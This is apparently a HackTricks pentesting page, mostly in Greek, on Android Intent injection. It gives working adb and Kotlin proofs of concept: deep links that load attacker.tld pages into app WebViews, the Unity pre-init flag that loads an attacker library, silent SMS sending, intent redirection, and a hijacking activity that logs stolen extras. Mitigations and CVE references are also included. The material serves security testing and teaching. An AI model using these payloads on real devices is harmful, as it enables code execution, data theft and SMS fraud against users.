Intent Injection

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Το Intent injection καταχράται συστατικά που δέχονται Intents ελεγχόμενα από τον επιτιθέμενο ή δεδομένα που αργότερα μετατρέπονται σε Intents. Δύο πολύ κοινά μοτίβα κατά τη διάρκεια Android app pentests είναι:

  • Αποστολή κατασκευασμένων extras σε exported Activities/Services/BroadcastReceivers που αργότερα προωθούνται σε προνομιούχα, μη-exported components.
  • Εκκίνηση exported VIEW/BROWSABLE deep links που προωθούν URLs ελεγχόμενα από τον επιτιθέμενο σε εσωτερικά WebViews ή άλλους ευαίσθητους sinks.

Αν μια εφαρμογή εκθέτει ένα custom scheme deep link όπως:

myscheme://com.example.app/web?url=<attacker_url>

και η λαμβάνουσα Activity προωθεί την παράμετρο ερωτήματος url σε ένα WebView, μπορείτε να αναγκάσετε την εφαρμογή να αποδώσει αυθαίρετο απομακρυσμένο περιεχόμενο στο δικό της περιβάλλον WebView.

PoC μέσω adb:

# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Επίπτωση

  • HTML/JS εκτελείται μέσα στο προφίλ της εφαρμογής WebView.
  • Εάν JavaScript είναι ενεργοποιημένο (κατά προεπιλογή ή λόγω λανθασμένης σειράς ελέγχων), μπορείτε να απαριθμήσετε/χρησιμοποιήσετε οποιαδήποτε εκτεθειμένα @JavascriptInterface αντικείμενα, να κλέψετε WebView cookies/local storage και να pivot.

Δείτε επίσης:

Webview Attacks

Bug στη σειρά ελέγχων που επιτρέπει JavaScript

Ένα επαναλαμβανόμενο σφάλμα είναι η ενεργοποίηση της JavaScript (ή άλλων πιο επιτρεπτικών ρυθμίσεων WebView) πριν ολοκληρωθεί ο τελικός έλεγχος/allowlist του URL. Εάν πρώιμοι helpers αποδεχτούν το deep link σας και το WebView διαμορφωθεί πρώτα, το τελικό σας φορτίο γίνεται με την JavaScript ήδη ενεργοποιημένη ακόμα κι αν οι μεταγενέστεροι έλεγχοι είναι ελαττωματικοί ή καθυστερημένοι.

Τι να προσέξετε σε απομεταγλωττισμένο κώδικα:

  • Πολλαπλά helper που αναλύουν/διαχωρίζουν/ανακατασκευάζουν το URL διαφορετικά (ασυνεπής ομαλοποίηση).
  • Κλήσεις στο getSettings().setJavaScriptEnabled(true) πριν τον τελικό έλεγχο allowlist για host/path.
  • Ένα pipeline όπως: parse → partial validate → configure WebView → final verify → loadUrl.

Unity Runtime: Intent-to-CLI extras → pre-init native library injection (RCE)

Οι εφαρμογές Android βασισμένες σε Unity συνήθως χρησιμοποιούν com.unity3d.player.UnityPlayerActivityUnityPlayerGameActivity) ως το entry Activity. Το Android template της Unity χειρίζεται ένα ειδικό Intent extra με όνομα unity ως συμβολοσειρά command-line flags για το Unity runtime. Όταν το entry Activity είναι exported (προεπιλογή σε πολλά templates), οποιαδήποτε τοπική εφαρμογή – και μερικές φορές ένας ιστότοπος αν υπάρχει το BROWSABLE – μπορεί να παρέχει αυτό το extra.

Ένα επικίνδυνο, μη τεκμηριωμένο flag οδηγεί σε εκτέλεση native κώδικα κατά την πολύ πρώιμη αρχικοποίηση της διεργασίας:

  • Hidden flag: -xrsdk-pre-init-library <absolute-path>
  • Effect: dlopen(<absolute-path>, RTLD_NOW) πολύ νωρίς στην init, φορτώνοντας ELF υπό έλεγχο επιτιθέμενου μέσα στη διεργασία της στοχευμένης εφαρμογής με το UID και τα permissions της.

Απόσπασμα reverse-engineering (απλουστευμένο):

// lookup the arg value
initLibPath = FUN_00272540(uVar5, "xrsdk-pre-init-library");
// load arbitrary native library early
lVar2 = dlopen(initLibPath, 2); // RTLD_NOW

Γιατί λειτουργεί

  • The Intent extra unity is parsed into Unity runtime flags.
  • Supplying the pre-init flag points Unity at an attacker-controlled ELF path within an allowed linker namespace path (see constraints below).

Conditions for exploitation

  • The Unity entry Activity is exported (commonly true by default).
  • For one-click remote via browser: the entry Activity also declares android.intent.category.BROWSABLE so extras can be passed from an intent: URL.

Local exploitation (same device)

  1. Place a payload ELF at a path readable by the victim app. Easiest: ship a malicious library in your own attacker app and ensure it is extracted under /data/app/.../lib/<abi>/ by setting in the attacker’s manifest:
<application android:extractNativeLibs="true" ...>
  1. Εκκινήστε την Unity activity του θύματος με το CLI pre-init flag στο extra unity. Παράδειγμα ADB PoC:
adb shell am start \
-n com.victim.pkg/com.unity3d.player.UnityPlayerActivity \
-e unity "-xrsdk-pre-init-library /data/app/~~ATTACKER_PKG==/lib/arm64/libpayload.so"
  1. Unity calls dlopen("/data/.../libpayload.so", RTLD_NOW); το payload σας εκτελείται στη διεργασία του θύματος, κληρονομώντας όλα τα δικαιώματα της εφαρμογής (κάμερα/μικρόφωνο/δίκτυο/αποθήκευση, κ.λπ.) και πρόσβαση σε συνεδρίες/δεδομένα εντός της εφαρμογής.

Σημειώσεις

  • Η ακριβής /data/app/... διαδρομή διαφέρει ανά συσκευή/εγκατάσταση. Μια επιτιθέμενη εφαρμογή μπορεί να ανακτήσει τον δικό της φάκελο native lib κατά το runtime μέσω getApplicationInfo().nativeLibraryDir και να το επικοινωνήσει στον trigger.
  • Το αρχείο δεν χρειάζεται να τελειώνει σε .so αν είναι έγκυρο ELF — το dlopen() κοιτάει τα ELF headers, όχι τις επεκτάσεις.

Απομακρυσμένο one‑click μέσω browser (υπό προϋπόθεση) Εάν η Unity entry activity είναι exported με BROWSABLE, ένας ιστότοπος μπορεί να περάσει extras μέσω ενός intent: URL:

intent:#Intent;package=com.example.unitygame;scheme=whatever;\
S.unity=-xrsdk-pre-init-library%20/data/local/tmp/malicious.so;end;

Ωστόσο, σε σύγχρονο Android, τα namespaces του dynamic linker και το SELinux εμποδίζουν τη φόρτωση από πολλές δημόσιες διαδρομές (π.χ., /sdcard/Download). Θα δείτε σφάλματα όπως:

library "/sdcard/Download/libtest.so" ("/storage/emulated/0/Download/libtest.so") needed
or dlopened by "/data/app/.../lib/arm64/libunity.so" is not accessible for the
namespace: [name="clns-...", ... permitted_paths="/data:/mnt/expand:/data/data/com.example.unitygame"]

Στρατηγική παράκαμψης: στοχεύστε εφαρμογές που αποθηκεύουν στην cache bytes υπό έλεγχο του επιτιθέμενου στον ιδιωτικό τους χώρο αποθήκευσης (π.χ. HTTP caches). Εφόσον οι επιτρεπτές διαδρομές περιλαμβάνουν το /data και τον φάκελο ιδιωτικού χρήστη της εφαρμογής, το να δείξετε το -xrsdk-pre-init-library σε απόλυτη διαδρομή μέσα στην cache της εφαρμογής μπορεί να ικανοποιήσει τους linker constraints και να αποδώσει code execution. Αυτό αντικατοπτρίζει προηγούμενα cache-to-ELF RCE patterns που έχουν παρατηρηθεί σε άλλες Android apps.

Confused‑Deputy: Σιωπηλά SMS/MMS μέσω ACTION_SENDTO (Wear OS Google Messages)

Ορισμένες προεπιλεγμένες εφαρμογές μηνυμάτων εκτελούν λανθασμένα αυτόματα implicit messaging intents, μετατρέποντάς τα σε confused‑deputy primitive: οποιαδήποτε μη προνομιούχα εφαρμογή μπορεί να πυροδοτήσει Intent.ACTION_SENDTO με sms:, smsto:, mms:, ή mmsto: και να προκαλέσει άμεση αποστολή χωρίς UI επιβεβαίωσης και χωρίς το δικαίωμα SEND_SMS.

Key points

  • Trigger: implicit ACTION_SENDTO + messaging URI scheme.
  • Data: ορίστε τον παραλήπτη στο URI, το κείμενο του μηνύματος στο extra "sms_body".
  • Permissions: none (no SEND_SMS), relies on the default SMS/MMS handler.
  • Observed: Google Messages for Wear OS (patched May 2025). Other handlers should be assessed similarly.

Minimal payload (Kotlin)

val intent = Intent(Intent.ACTION_SENDTO).apply {
data = Uri.parse("smsto:+11234567890") // or sms:, mms:, mmsto:
putExtra("sms_body", "Hi from PoC")
// From a non-Activity context add NEW_TASK
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
}
startActivity(intent)

ADB PoC (χωρίς ειδικές άδειες)

# SMS/SMS-to
adb shell am start -a android.intent.action.SENDTO -d "smsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "sms:+11234567890"   --es sms_body "hello"

# MMS/MMS-to (handler-dependent behaviour)
adb shell am start -a android.intent.action.SENDTO -d "mmsto:+11234567890" --es sms_body "hello"
adb shell am start -a android.intent.action.SENDTO -d "mms:+11234567890"   --es sms_body "hello"

Επέκταση επιφάνειας επίθεσης (Wear OS)

  • Οποιοδήποτε component που μπορεί να εκκινήσει activities μπορεί να πυροδοτήσει το ίδιο payload: Activities, foreground Services (with FLAG_ACTIVITY_NEW_TASK), Tiles, Complications.
  • Εάν ο προεπιλεγμένος handler αποστέλλει αυτόματα, η κατάχρηση μπορεί να είναι one‑tap ή τελείως σιωπηλή από background contexts ανάλογα με τις πολιτικές OEM.

Pentest checklist

  • Resolve ACTION_SENDTO στον στόχο για να προσδιορίσετε τον προεπιλεγμένο handler· επαληθεύστε αν εμφανίζει compose UI ή στέλνει σιωπηλά.
  • Exercise και τα τέσσερα schemes (sms:, smsto:, mms:, mmsto:) και τα extras (sms_body, προαιρετικά subject για MMS) για να ελέγξετε τις διαφορές στη συμπεριφορά.
  • Λάβετε υπόψη προορισμούς με χρέωση/αριθμούς premium‑rate όταν δοκιμάζετε σε πραγματικές συσκευές.

Other classic Intent injection primitives

  • startActivity/sendBroadcast χρησιμοποιώντας attacker-supplied Intent extras που αργότερα επανα-αναλύονται (Intent.parseUri(...)) και εκτελούνται.
  • Exported proxy components που προωθούν Intents σε non-exported ευαίσθητα components χωρίς ελέγχους permission.

Automating exported-component testing (Smali-driven ADB generation)

Όταν exported components περιμένουν συγκεκριμένα extras, η εικασία του σχήματος του payload προκαλεί σπατάλη χρόνου και false negatives. Μπορείτε να αυτοματοποιήσετε την ανακάλυψη των keys/types απευθείας από Smali και να εκδώσετε έτοιμες προς εκτέλεση adb εντολές.

Tool: APK Components Inspector

  • Repo: https://github.com/thecybersandeep/apk-components-inspector
  • Approach: decompile και σαρώστε το Smali για κλήσεις όπως getStringExtra("key"), getIntExtra("id", ...), getParcelableExtra("redirect_intent"), getSerializableExtra(...), getBooleanExtra(...), getAction(), getData() για να συμπεράνετε ποια extras και πεδία καταναλώνει κάθε component.
  • Output: για κάθε exported Activity/Service/Receiver/Provider, το εργαλείο τυπώνει μια σύντομη εξήγηση και την ακριβή εντολή adb shell am .../cmd content ... με σωστά καθορισμένα flags.

Εγκατάσταση

git clone https://github.com/thecybersandeep/apk-components-inspector
cd apk-components-inspector
python3 -m venv venv && source venv/bin/activate
pip install androguard==3.3.5 rich

Χρήση

python apk-components-inspector.py target.apk

Παράδειγμα εξόδου

adb shell am start -n com.target/.ExportedActivity --es url https://example.tld
adb shell am startservice -n com.target/.ExportedService --ei user_id 1337 --ez force true
adb shell am broadcast -n com.target/.ExportedReceiver -a com.target.ACTION --es redirect_intent "intent:#Intent;component=com.target/.Internal;end"
adb shell cmd content query --uri content://com.target.provider/items

Σύντομος οδηγός ADB am extras (type-aware flags)

  • Συμβολοσειρές: --es key value | Πίνακας συμβολοσειρών: --esa key v1,v2
  • Ακέραιοι: --ei key 123 | Πίνακας ακέραιων: --eia key 1,2,3
  • Boolean (λογικές τιμές): --ez key true|false
  • Longs: --el key 1234567890
  • Floats: --ef key 1.23
  • URIs (extra): --eu key content://... | Data URI (Intent data): -d content://...
  • Component extra: --ecn key com.pkg/.Cls
  • Null string extra: --esn key
  • Common flags: -a <ACTION> -c <CATEGORY> -t <MIME> -f <FLAGS> --activity-clear-task --activity-new-task

Συμβουλές για Providers

  • Χρησιμοποίησε adb shell cmd content query|insert|update|delete ... για να προσπελάσεις ContentProviders χωρίς agents.
  • Για SQLi probing, μεταβάλλετε --projection και --where (aka selection) όταν ο υποκείμενος provider είναι SQLite-backed.

Πλήρης αυτοματοποίηση pipeline (interactive executor)

# generate and capture commands then execute them one by one interactively
python apk-components-inspector.py app.apk | tee adbcommands.txt
python run_adb_commands.py
Βοηθητικό script για την ανάλυση και εκτέλεση εντολών adb ```python import subprocess

def parse_adb_commands(file_path): with open(file_path, ‘r’) as file: lines = file.readlines() commands = [] current = [] for line in lines: s = line.strip() if s.startswith(“adb “): current = [s] elif s.startswith(”#“) or not s: if current: full = ’ ’.join(current).replace(” \ “, “ “).replace(”\“, “”).strip() commands.append(full) current = [] elif current: current.append(s) if current: full = ’ ’.join(current).replace(“ \ “, “ “).replace(”\“, “”).strip() commands.append(full) return commands

for i, cmd in enumerate(parse_adb_commands(‘adbcommands.txt’), 1): print(f“\nCommand {i}: {cmd}“) input(“Press Enter to execute this command…”) try: r = subprocess.run(cmd, shell=True, check=True, text=True, capture_output=True) print(“Output:\n”, r.stdout) if r.stderr: print(“Errors:\n”, r.stderr) except subprocess.CalledProcessError as e: print(f“Command failed with error:\n{e.stderr}“)

</details>

Run on-device: ο inspector είναι Python-based και λειτουργεί σε Termux ή σε rooted τηλέφωνα όπου είναι διαθέσιμα τα `apktool`/`androguard`.

---

## Intent Redirection (CWE-926) – εντοπισμός και εκμετάλλευση

Pattern
- Ένα εξαγόμενο σημείο εισόδου (Activity/Service/Receiver) διαβάζει ένα εισερχόμενο Intent και το προωθεί εσωτερικά ή εξωτερικά χωρίς να επικυρώνει την πηγή/τα δεδομένα, π.χ.:
- `startActivity(getIntent())`
- `startActivity(intent)` όπου το `intent` προήλθε από ένα extra όπως `redirect_intent`/`next_intent`/`pending_intent` ή `Intent.parseUri(...)`.
- Εμπιστοσύνη στα πεδία `action`/`data`/`component` χωρίς ελέγχους· δεν επαληθεύεται η ταυτότητα του καλούντος.

What to search in Smali/Java
- Χρήσεις του `getParcelableExtra("redirect_intent")`, `getParcelable("intent")`, `getIntent().getParcelableExtra(...)`.
- Άμεσες κλήσεις `startActivity(...)`, `startService(...)`, `sendBroadcast(...)` σε attacker-influenced Intents.
- Έλλειψη ελέγχων `getCallingPackage()`/`getCallingActivity()` ή προσαρμοσμένων permission gates.

ADB PoC templates
- Proxy Activity που προωθεί ένα extra Intent σε ένα privileged internal Activity:
```bash
adb shell am start -n com.target/.ProxyActivity \
--es redirect_intent 'intent:#Intent;component=com.target/.SensitiveActivity;end'
  • Εξαγόμενο Service που αποδέχεται ένα parcelable redirect_intent:
adb shell am startservice -n com.target/.ExportedService \
--es redirect_intent 'intent:#Intent;component=com.target/.PrivService;action=com.target.DO;end'
  • Εξαγόμενος Receiver που προωθεί χωρίς επικύρωση:
adb shell am broadcast -n com.target/.RelayReceiver -a com.target.RELAY \
--es forwarded 'intent:#Intent;component=com.target/.HiddenActivity;S.extra=1;end'

Flags χρήσιμα για συμπεριφορά τύπου singleTask

# Ensure a fresh task when testing Activities that check task/intent flags
adb shell am start -n com.target/.ExportedActivity --activity-clear-task --activity-new-task

Πραγματικά παραδείγματα (το αντίκτυπο διαφέρει):

  • CVE-2024-26131 (Element Android): exported flows που οδηγούσαν σε WebView manipulation, PIN bypass, login hijack.
  • CVE-2023-44121 (LG ThinQ Service): exported receiver action com.lge.lms.things.notification.ACTION → επιπτώσεις σε επίπεδο συστήματος.
  • CVE-2023-30728 (Samsung PackageInstallerCHN < 13.1.03.00): ανακατεύθυνση → πρόσβαση σε arbitrary αρχεία (με αλληλεπίδραση χρήστη).
  • CVE-2022-36837 (Samsung Email < 6.1.70.20): implicit Intents leak content.
  • CVE-2021-4438 (React Native SMS User Consent).
  • CVE-2020-14116 (Xiaomi Mi Browser).

Intent Hijacking (implicit intents)

Μοντέλο απειλής

  • App A περιμένει ένα ευαίσθητο αποτέλεσμα από App B χρησιμοποιώντας ένα implicit Intent (π.χ., ένα OAuth redirect, αποτέλεσμα document picker, επιστροφή IMAGE_CAPTURE, ή μια custom callback action).
  • Το Attacker App C δημοσιεύει ένα exported component με ταιριαστό <intent-filter> για την ίδια action/category/data. Όταν το B επιλύει το implicit Intent, ο resolver μπορεί να εμφανίσει έναν chooser· αν ο χρήστης επιλέξει το C (ή το ορίσει ως προεπιλογή), το payload παραδίδεται στο attacker component αντί για το A.

Ελάχιστο PoC manifest (attacker):

<activity android:name=".StealActivity" android:exported="true">
<intent-filter>
<action android:name="com.victim.app.ACTION_CALLBACK"/>
<category android:name="android.intent.category.DEFAULT"/>
<!-- Optionally constrain MIME or scheme/host/path to increase match score -->
<!-- <data android:mimeType="application/json"/> -->
<!-- <data android:scheme="myscheme" android:host="callback"/> -->
</intent-filter>
</activity>

Σκελετός Handler:

public class StealActivity extends Activity {
@Override protected void onCreate(Bundle b) {
super.onCreate(b);
Intent i = getIntent();
Bundle extras = i.getExtras();
Uri data = i.getData();
// Dump/forward sensitive result
android.util.Log.i("HIJACK", "action="+i.getAction()+" data="+data+" extras="+extras);
finish();
}
}

Notes

  • Η ειδικότητα του match έχει σημασία (action + categories + data). Όσο πιο συγκεκριμένο είναι το φίλτρο του C σε σχέση με το εξερχόμενο Intent του B, τόσο μεγαλύτερη η πιθανότητα να εμφανιστεί ή να επιλεγεί αυτόματα.
  • Αυτό ισχύει επίσης για deep links (VIEW + BROWSABLE) όταν οι εφαρμογές αναμένουν μια άλλη εφαρμογή να χειριστεί ένα URL και να επιστρέψει κάτι.

Pentest guidance

  • Grep the target for startActivity/startActivityForResult/registerForActivityResult calls using non-explicit Intents.
  • Inspect Intents carrying tokens in extras, clipData, or getData() and see whether a third-party could register a compatible filter.
  • Recommend replacing implicit flows with explicit Intents (set setPackage()/setComponent()), or requiring caller-permission/signed permissions on exported receivers/services.

Mitigations

  • Προτίμησε explicit Intents για ευαίσθητες ροές (callbacks, tokens, auth results).
  • Όταν είναι απαραίτητο cross-app, πρόσθεσε απαιτήσεις permission στο receiving component και επαλήθευσε την ταυτότητα του caller.
  • Περιορίστε και σφίξτε τα Intent filters μόνο σε ό,τι είναι αυστηρά απαραίτητο (scheme/host/path/MIME).

Παρατήρηση των αποφάσεων του resolver (FLAG_DEBUG_LOG_RESOLUTION)

Όταν ελέγχεις τον sender, πρόσθεσε Intent.FLAG_DEBUG_LOG_RESOLUTION σε ένα implicit Intent για να αναγκάσεις το Android να καταγράψει πώς γίνεται η resolution και ποιο component θα επιλεγεί.

Example:

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
startActivityForResult(intent, 42);

Αυτό που θα δείτε στο adb logcat είναι το resolution trace και το τελικό component, π.χ. com.android.camera2/com.android.camera.CaptureActivity.

Συμβουλή CLI

# You can also set the debug flag from adb when firing an implicit Intent
# 0x00000008 == Intent.FLAG_DEBUG_LOG_RESOLUTION on modern Android
adb shell am start -a android.media.action.IMAGE_CAPTURE -f 0x00000008

# Then inspect the resolution in logs
adb logcat | grep -i -E "resolve|Resolver|PackageManager|ActivityTaskManager"

Αυτό είναι χρήσιμο για την αναγνώριση υποψήφιων handlers σε μια συσκευή/emulator και για να επιβεβαιώσετε ακριβώς ποιο component θα λάβει ένα Intent κατά τη διάρκεια των δοκιμών.


Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks